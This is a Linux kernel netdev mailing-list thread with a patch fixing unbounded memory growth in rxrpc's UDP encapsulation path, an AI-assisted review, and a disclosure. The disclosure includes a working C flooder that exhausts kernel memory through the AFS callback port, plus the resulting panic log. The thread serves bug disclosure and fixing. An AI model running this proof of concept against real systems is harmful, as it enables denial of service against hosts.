* [PATCH net 0/1] rxrpc: fix encap_rcv skb accounting exhaustion
@ 2026-07-23 17:43 Ren Wei
2026-07-23 17:43 ` [PATCH net 1/1] " Ren Wei
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:43 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega,
zihanx, enjou1224z
From: Zihan Xi <zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in net/rxrpc/io_thread.c. The bug is
reachable by an unprivileged local user via the in-kernel AFS callback
listener on [::]:7001. We've tested it, and it should not affect any
other functionality.
This series contains one patch:
1/1 rxrpc: fix encap_rcv skb accounting exhaustion
We provide bug details, reproducer steps, and a crash log below.
---- details below ----
Bug details:
rxrpc_encap_rcv() removes encapsulated UDP packets from the UDP receive
path and queues them on the RxRPC local queue without preserving UDP
receive-buffer accounting. A local AF_RXRPC service such as the AFS
callback listener can therefore be flooded with RxRPC-shaped UDP
packets until the RxRPC receive buffers grow without bound.
The attached patch reaccounts each encapsulated skb against the UDP
socket before it is queued on the RxRPC local queue and drops packets
once the socket rcvbuf limit is exhausted. It also clears sk_user_data
under RCU protection and defers socket release until queued skbs are
purged so the new skb ownership cannot outlive the UDP socket.
On the unfixed kernel, the reproducer drove /proc/net/rxrpc to:
- Buffers: rxb=152399
- RxQ=46041
On the fixed kernel under the same workload, packet reception continued
but:
- Buffers: rxb=0
- RxQ=0
Reproducer:
Host:
gcc -static -O2 -pthread -o poc.static poc.c
Guest:
sysctl -w kernel.panic_on_warn=0
sysctl -w vm.panic_on_oom=1
sysctl -w vm.overcommit_memory=2
sysctl -w vm.overcommit_ratio=50
./poc -t 16 -s 60 -l 8
./poc -t 32 -s 120 -l 8
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8
struct __attribute__((packed)) rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
};
struct thread_args {
struct sockaddr_in6 dst;
int seconds;
size_t payload_len;
uint32_t cid_seed;
unsigned long sent;
};
static volatile sig_atomic_t stop_flag;
static void on_alarm(int sig)
{
(void)sig;
stop_flag = 1;
}
static void *sender_thread(void *arg)
{
struct thread_args *ta = arg;
int fd;
char *packet;
struct rxrpc_wire_header *hdr;
uint32_t *op;
uint32_t *count;
uint32_t seq = 1;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
packet = malloc(sizeof(*hdr) + ta->payload_len);
if (!packet) {
perror("malloc");
close(fd);
return NULL;
}
memset(packet + sizeof(*hdr), 0, ta->payload_len);
hdr = (struct rxrpc_wire_header *)packet;
hdr->epoch = htonl(0x80000000u | (ta->cid_seed & 0x7fffffffu));
hdr->cid = htonl((ta->cid_seed << 2) | 0);
hdr->callNumber = htonl(1);
hdr->type = RXRPC_PACKET_TYPE_DATA;
hdr->flags = RXRPC_CLIENT_INITIATED;
hdr->userStatus = 0;
hdr->securityIndex = 0;
hdr->reserved = 0;
hdr->serviceId = htons(RXRPC_SERVICE_ID);
op = (uint32_t *)(packet + sizeof(*hdr));
*op = htonl(AFS_CB_CALLBACK_OP);
if (ta->payload_len >= 8) {
count = op + 1;
*count = htonl(1);
}
while (!stop_flag) {
hdr->seq = htonl(seq);
hdr->serial = htonl(seq);
if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
(struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
ta->sent++;
seq++;
}
}
free(packet);
close(fd);
return NULL;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len]\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(DEFAULT_PORT),
};
const char *addr = "::1";
int threads = DEFAULT_THREADS;
int seconds = DEFAULT_SECONDS;
size_t payload_len = DEFAULT_PAYLOAD;
pthread_t *tids;
struct thread_args *args;
unsigned long total = 0;
int opt;
while ((opt = getopt(argc, argv, "a:p:t:s:l:h")) != -1) {
switch (opt) {
case 'a':
addr = optarg;
break;
case 'p':
dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
break;
case 't':
threads = atoi(optarg);
break;
case 's':
seconds = atoi(optarg);
break;
case 'l':
payload_len = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
return 1;
}
}
if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
usage(argv[0]);
return 1;
}
if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
signal(SIGALRM, on_alarm);
alarm(seconds);
tids = calloc((size_t)threads, sizeof(*tids));
args = calloc((size_t)threads, sizeof(*args));
if (!tids || !args) {
perror("calloc");
return 1;
}
for (int i = 0; i < threads; i++) {
args[i].dst = dst;
args[i].seconds = seconds;
args[i].payload_len = payload_len;
args[i].cid_seed = 1 + (uint32_t)i;
if (pthread_create(&tids[i], NULL, sender_thread, &args[i]) != 0) {
fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
stop_flag = 1;
threads = i;
break;
}
}
for (int i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
total += args[i].sent;
}
printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
total, payload_len, threads, seconds);
free(args);
free(tids);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 374.868900][T10021] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 374.869593][T10021] CPU: 0 UID: 1028 PID: 10021 Comm: poc_rxrpc_mem Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 374.870253][T10021] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 374.870955][T10021] Call Trace:
[ 374.871183][T10021] <TASK>
[374.871397][T10021] vpanic+0x6c3/0x790
[374.871684][T10021] ? __pfx_vpanic+0x10/0x10
[374.871994][T10021] panic (/var/cache/linux-patch/vsock-accept-leak-src/kernel/panic.c:285)
[374.872312][T10021] ? __pfx_panic (/var/cache/linux-patch/vsock-accept-leak-src/kernel/panic.c:277)
[374.872754][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.873186][T10021] out_of_memory (/var/cache/linux-patch/vsock-accept-leak-src/mm/oom_kill.c:298 /var/cache/linux-patch/vsock-accept-leak-src/mm/oom_kill.c:1150)
[374.873559][T10021] ? __pfx_out_of_memory (/var/cache/linux-patch/vsock-accept-leak-src/mm/oom_kill.c:1114)
[374.873931][T10021] __alloc_frozen_pages_noprof+0x2306/0x2af0
[374.874497][T10021] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10
[374.874991][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.875378][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.875759][T10021] ? find_held_lock (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5237)
[374.876091][T10021] ? lock_acquire (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5754 /var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5719)
[374.876429][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.876802][T10021] ? find_held_lock (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5237)
[374.877129][T10021] alloc_pages_mpol+0x14a/0x440
[374.877462][T10021] ? __pfx_alloc_pages_mpol+0x10/0x10
[374.877815][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.878193][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.878616][T10021] ? __check_object_size (/var/cache/linux-patch/vsock-accept-leak-src/mm/usercopy.c:144 (discriminator 1) /var/cache/linux-patch/vsock-accept-leak-src/mm/usercopy.c:254 (discriminator 1) /var/cache/linux-patch/vsock-accept-leak-src/mm/usercopy.c:213 (discriminator 1))
[374.878973][T10021] alloc_pages_noprof+0x10/0x110
[374.879314][T10021] skb_page_frag_refill (/var/cache/linux-patch/vsock-accept-leak-src/net/core/sock.c:2944)
[374.879666][T10021] sk_page_frag_refill (/var/cache/linux-patch/vsock-accept-leak-src/net/core/sock.c:2976)
[374.880012][T10021] __ip6_append_data+0xeea/0x4db0
[374.880373][T10021] ? __pfx_ip_generic_getfrag (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv4/ip_output.c:940)
[374.880767][T10021] ? __pfx___ip6_append_data+0x10/0x10
[374.881124][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.881501][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.881868][T10021] ? ip6_setup_cork (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/ip6_output.c:1386 (discriminator 1))
[374.882286][T10021] ip6_make_skb (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/ip6_output.c:2052)
[374.882692][T10021] ? __pfx_ip_generic_getfrag (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv4/ip_output.c:940)
[374.883077][T10021] ? __pfx_ip6_make_skb (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/ip6_output.c:2034)
[374.883479][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.883888][T10021] ? find_held_lock (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5237)
[374.884290][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.884704][T10021] ? udpv6_sendmsg (/var/cache/linux-patch/vsock-accept-leak-src/include/net/net_namespace.h:402 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/sock.h:657 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/ipv6.h:415 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/udp.c:1446 (discriminator 7))
[374.885080][T10021] udpv6_sendmsg (/var/cache/linux-patch/vsock-accept-leak-src/include/net/net_namespace.h:402 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/sock.h:657 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/ipv6.h:415 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/udp.c:1446 (discriminator 7))
[374.885425][T10021] ? __pfx_udpv6_sendmsg (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/udp.c:1331)
[374.885759][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.886131][T10021] ? tomoyo_check_inet_address (/var/cache/linux-patch/vsock-accept-leak-src/security/tomoyo/network.c:472 (discriminator 1) /var/cache/linux-patch/vsock-accept-leak-src/security/tomoyo/network.c:532 (discriminator 1))
[374.886535][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.886903][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.887276][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.887672][T10021] ? __pfx_aa_sk_perm+0x10/0x10
[374.888008][T10021] ? __sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/include/linux/file.h:33 /var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2204)
[374.888340][T10021] __sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/include/linux/file.h:33 /var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2204)
[374.888635][T10021] ? __pfx___sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2170)
[374.888978][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.889369][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.889726][T10021] ? xfd_validate_state (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1421 /var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1465)
[374.890059][T10021] ? xfd_validate_state (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1421 /var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1465)
[374.890405][T10021] __x64_sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2209)
[374.890805][T10021] ? do_syscall_64 (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/common.c:62 (discriminator 4) /var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/common.c:76 (discriminator 4))
[374.891199][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.891568][T10021] ? lockdep_hardirqs_on (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:4421)
[374.891908][T10021] do_syscall_64 (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/common.c:199)
[374.892319][T10021] ? irqentry_exit (/var/cache/linux-patch/vsock-accept-leak-src/include/linux/context_tracking.h:131 (discriminator 3) /var/cache/linux-patch/vsock-accept-leak-src/kernel/context_tracking.c:91 (discriminator 3))
[374.892664][T10021] entry_SYSCALL_64_after_hwframe (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/entry_64.S:121)
[ 374.893158][T10021] RIP: 0033:0x7fcec98fb9ee
[ 374.893546][T10021] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
All code
========
0: 08 0f or %cl,(%rdi)
2: 85 f5 test %esi,%ebp
4: 4b ff rex.WXB (bad)
6: ff 49 89 decl -0x77(%rcx)
9: fb sti
a: 48 89 f0 mov %rsi,%rax
d: 48 89 d7 mov %rdx,%rdi
10: 48 89 ce mov %rcx,%rsi
13: 4c 89 c2 mov %r8,%rdx
16: 4d 89 ca mov %r9,%r10
19: 4c 8b 44 24 08 mov 0x8(%rsp),%r8
1e: 4c 8b 4c 24 10 mov 0x10(%rsp),%r9
23: 4c 89 5c 24 08 mov %r11,0x8(%rsp)
28: 0f 05 syscall
2a:* c3 ret <-- trapping instruction
2b: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
32: 00 00 00
35: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
3c: 48 83 ec 08 sub $0x8,%rsp
Code starting with the faulting instruction
===========================================
0: c3 ret
1: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
8: 00 00 00
b: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
12: 48 83 ec 08 sub $0x8,%rsp
[ 374.894971][T10021] RSP: 002b:00007fcec07fee08 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[ 374.895515][T10021] RAX: ffffffffffffffda RBX: 00007fcec07ff6c0 RCX: 00007fcec98fb9ee
[ 374.896024][T10021] RDX: 000000000000fe04 RSI: 00007fceb0000b70 RDI: 0000000000000005
[ 374.896545][T10021] RBP: 000055f531372350 R08: 000055f531372350 R09: 000000000000001c
[ 374.897055][T10021] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000005
[ 374.897565][T10021] R13: 0000000097850000 R14: 0000000000008597 R15: 00007fcebffff000
[ 374.898159][T10021] </TASK>
[ 374.898988][T10021] Kernel Offset: disabled
[ 374.899323][T10021] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
rxrpc: fix encap_rcv skb accounting exhaustion
net/rxrpc/io_thread.c | 15 +++++++++++++--
net/rxrpc/local_object.c | 8 ++++++--
2 files changed, 19 insertions(+), 4 deletions(-)
--
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net 1/1] rxrpc: fix encap_rcv skb accounting exhaustion
2026-07-23 17:43 [PATCH net 0/1] rxrpc: fix encap_rcv skb accounting exhaustion Ren Wei
@ 2026-07-23 17:43 ` Ren Wei
2026-07-28 12:24 ` Simon Horman
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:43 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega,
zihanx, enjou1224z
From: Zihan Xi <zihanx@nebusec.ai>
rxrpc_encap_rcv() moves encapsulated UDP packets onto the local
RxRPC queue without preserving UDP receive-buffer accounting. A local
AF_RXRPC service such as the AFS callback listener can therefore be
flooded with RxRPC-shaped UDP packets until the local queue grows
without bound and consumes large amounts of memory.
Reaccount encapsulated packets against the UDP socket before queueing
them on the RxRPC local queue and drop packets once the socket rcvbuf
limit is reached. Clear sk_user_data under RCU protection and release
the socket only after queued skbs are purged so the new skb ownership
does not outlive the UDP socket.
Fixes: 17926a79320a ("[AF_RXRPC]: Provide secure RxRPC sockets for use by userspace and kernel both")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
net/rxrpc/io_thread.c | 15 +++++++++++++--
net/rxrpc/local_object.c | 8 ++++++--
2 files changed, 19 insertions(+), 4 deletions(-)
diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
index dc5184a2f..85411a2d8 100644
--- a/net/rxrpc/io_thread.c
+++ b/net/rxrpc/io_thread.c
@@ -41,8 +41,6 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
if (skb->tstamp == 0)
skb->tstamp = ktime_get_real();
- skb->mark = RXRPC_SKB_MARK_PACKET;
- rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
rx_queue = &local->rx_queue;
#ifdef CONFIG_AF_RXRPC_INJECT_RX_DELAY
if (rxrpc_inject_rx_delay ||
@@ -52,6 +50,19 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
}
#endif
+ if (atomic_read(&udp_sk->sk_rmem_alloc) >= READ_ONCE(udp_sk->sk_rcvbuf) ||
+ !sk_rmem_schedule(udp_sk, skb, skb->truesize)) {
+ atomic_inc(&udp_sk->sk_drops);
+ kfree_skb(skb);
+ return 0;
+ }
+
+ skb->dev = NULL;
+ skb_set_owner_r(skb, udp_sk);
+ skb_dst_force(skb);
+
+ skb->mark = RXRPC_SKB_MARK_PACKET;
+ rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
skb_queue_tail(rx_queue, skb);
wake_up_process(io_thread);
return 0;
diff --git a/net/rxrpc/local_object.c b/net/rxrpc/local_object.c
index 169f9dfda..6604f9f95 100644
--- a/net/rxrpc/local_object.c
+++ b/net/rxrpc/local_object.c
@@ -437,8 +437,8 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
if (socket) {
local->socket = NULL;
kernel_sock_shutdown(socket, SHUT_RDWR);
- socket->sk->sk_user_data = NULL;
- sock_release(socket);
+ rcu_assign_sk_user_data(socket->sk, NULL);
+ synchronize_rcu();
}
/* At this point, there should be no more packets coming in to the
@@ -448,6 +448,10 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
rxrpc_purge_queue(&local->rx_delay_queue);
#endif
rxrpc_purge_queue(&local->rx_queue);
+
+ if (socket)
+ sock_release(socket);
+
rxrpc_purge_client_connections(local);
page_frag_cache_drain(&local->tx_alloc);
}
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH net 1/1] rxrpc: fix encap_rcv skb accounting exhaustion
2026-07-23 17:43 ` [PATCH net 1/1] " Ren Wei
@ 2026-07-28 12:24 ` Simon Horman
0 siblings, 0 replies; 3+ messages in thread
From: Simon Horman @ 2026-07-28 12:24 UTC (permalink / raw)
To: enjou1224z
Cc: Simon Horman, linux-afs, netdev, dhowells, marc.dionne, davem,
edumazet, pabeni, vega, zihanx
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/b640f1b3e27afeb9f397b2bab9ce23f4f2f864a7.1784742007.git.zihanx@nebusec.ai?part=1
---
rxrpc: fix encap_rcv skb accounting exhaustion
This patch adds UDP rcvbuf accounting to rxrpc_encap_rcv() so that an
AF_RXRPC service such as the AFS callback listener cannot be flooded
until local queue memory grows unbounded. It also switches
rxrpc_destroy_local() to clear sk_user_data via RCU and defers
sock_release() until after the local rx queues are purged.
> diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
> index dc5184a2fa9d..85411a2d8428 100644
> --- a/net/rxrpc/io_thread.c
> +++ b/net/rxrpc/io_thread.c
> @@ -41,8 +41,6 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
> if (skb->tstamp == 0)
> skb->tstamp = ktime_get_real();
>
> - skb->mark = RXRPC_SKB_MARK_PACKET;
> - rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
> rx_queue = &local->rx_queue;
> #ifdef CONFIG_AF_RXRPC_INJECT_RX_DELAY
> if (rxrpc_inject_rx_delay ||
> @@ -52,6 +50,19 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
> }
> #endif
>
> + if (atomic_read(&udp_sk->sk_rmem_alloc) >= READ_ONCE(udp_sk->sk_rcvbuf) ||
> + !sk_rmem_schedule(udp_sk, skb, skb->truesize)) {
> + atomic_inc(&udp_sk->sk_drops);
> + kfree_skb(skb);
[Low]
Should the drop reason here be SKB_DROP_REASON_SOCKET_RCVBUFF rather
than the default SKB_DROP_REASON_NOT_SPECIFIED that kfree_skb() maps
to?
The regular UDP receive path in __udp_enqueue_schedule_skb() uses
kfree_skb_reason(skb, SKB_DROP_REASON_SOCKET_RCVBUFF) so that
drop_monitor / drop-reason tracepoints classify rcvbuf-full drops. As
written, rxrpc's rcvbuf-full drops will show up as unspecified.
> + return 0;
> + }
> +
> + skb->dev = NULL;
> + skb_set_owner_r(skb, udp_sk);
[Critical]
Once skb_set_owner_r(skb, udp_sk) installs sock_rfree() as the
destructor, skb->sk / skb->destructor are bound to udp_sk for the
lifetime of the skb.
The io_thread then hands these skbs off to further queues without
re-orphaning, for example:
net/rxrpc/ar-internal.h:rxrpc_queue_rx_call_packet()
__skb_queue_tail(&call->rx_queue, skb);
net/rxrpc/conn_event.c:rxrpc_post_packet_to_conn()
skb_queue_tail(&conn->rx_queue, skb);
net/rxrpc/oob.c:rxrpc_notify_socket_oob()
skb_queue_tail(&rx->recvmsg_oobq, skb);
None of these paths call skb_orphan() or re-run skb_set_owner_r() with
a different sk, so skb->sk stays pointing at udp_sk and the destructor
stays sock_rfree.
rxrpc_destroy_local() only purges local->rx_queue and
local->rx_delay_queue before sock_release(socket):
rxrpc_purge_queue(&local->rx_delay_queue);
rxrpc_purge_queue(&local->rx_queue);
if (socket)
sock_release(socket);
Meanwhile rxrpc_put_connection() can defer rxrpc_clean_up_connection()
to a workqueue when called from softirq or when the processor work /
timer is busy, and rxrpc_destroy_local() does not flush_work() /
cancel_work_sync() those destructor workers.
If the deferred cleanup runs after sock_release() has freed udp_sk,
rxrpc_clean_up_connection() -> rxrpc_purge_queue(&conn->rx_queue) will
invoke sock_rfree() on each skb, which does atomic_sub(len,
&sk->sk_rmem_alloc) and sk_mem_uncharge() on freed memory.
Can this produce a remotely triggerable use-after-free on the UDP
sock, since any peer can drive rxrpc_post_packet_to_conn() or
rxrpc_queue_rx_call_packet()?
[High]
Is any lock held on udp_sk when sk_rmem_schedule() and
skb_set_owner_r() run here?
Both paths do a non-atomic RMW on sk_forward_alloc via
sk_forward_alloc_add(), which is only WRITE_ONCE(sk->sk_forward_alloc,
sk->sk_forward_alloc + val).
The comment above rxrpc_encap_rcv() states the socket is not held
locked by the caller and this runs under RCU only. The regular UDP
path in __udp_enqueue_schedule_skb() takes spin_lock(&list->lock) on
sk_receive_queue before udp_rmem_schedule() and sk_forward_alloc_add()
precisely to serialise this counter.
With concurrent softirqs on multiple CPUs delivering to the same UDP
socket, and sock_rfree() destructors firing asynchronously from the
io_thread purge and deferred conn/call cleanup, can updates to
sk_forward_alloc be lost, allowing the rcvbuf ceiling this patch is
meant to enforce to drift?
[Medium]
Is the sequence
if (atomic_read(&udp_sk->sk_rmem_alloc) >= READ_ONCE(udp_sk->sk_rcvbuf) ||
!sk_rmem_schedule(udp_sk, skb, skb->truesize)) {
...
}
skb_set_owner_r(skb, udp_sk);
racy across CPUs?
N concurrent softirqs can each observe rmem_alloc < rcvbuf and then
each add skb->truesize in skb_set_owner_r() -> atomic_add(...,
&sk->sk_rmem_alloc), so the effective cap becomes rcvbuf + O(NCPU *
truesize) rather than a strict bound. The commit message states the
patch will "drop packets once the socket rcvbuf limit is reached" —
should that be qualified given this overshoot?
> + skb_dst_force(skb);
> +
> + skb->mark = RXRPC_SKB_MARK_PACKET;
> + rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
> skb_queue_tail(rx_queue, skb);
> wake_up_process(io_thread);
> return 0;
[Low]
rxrpc's UDP endpoint is opened by kernel code via udp_sock_create() in
rxrpc_open_socket() and is not exposed to userspace, so there is no
SO_RCVBUF path to tune sk_rcvbuf per endpoint. After this change,
net.core.rmem_default (typically ~200 KB) becomes the effective drop
threshold for all AF_RXRPC / AFS traffic on the host, with no
per-endpoint or rxrpc-specific knob to raise it.
Was this tradeoff considered, and should the commit message note it?
On busy AFS deployments this could drop legitimate traffic that is
only tunable via a global sysctl affecting every socket on the system.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-07-28 12:26 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 17:43 [PATCH net 0/1] rxrpc: fix encap_rcv skb accounting exhaustion Ren Wei
2026-07-23 17:43 ` [PATCH net 1/1] " Ren Wei
2026-07-28 12:24 ` Simon Horman
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox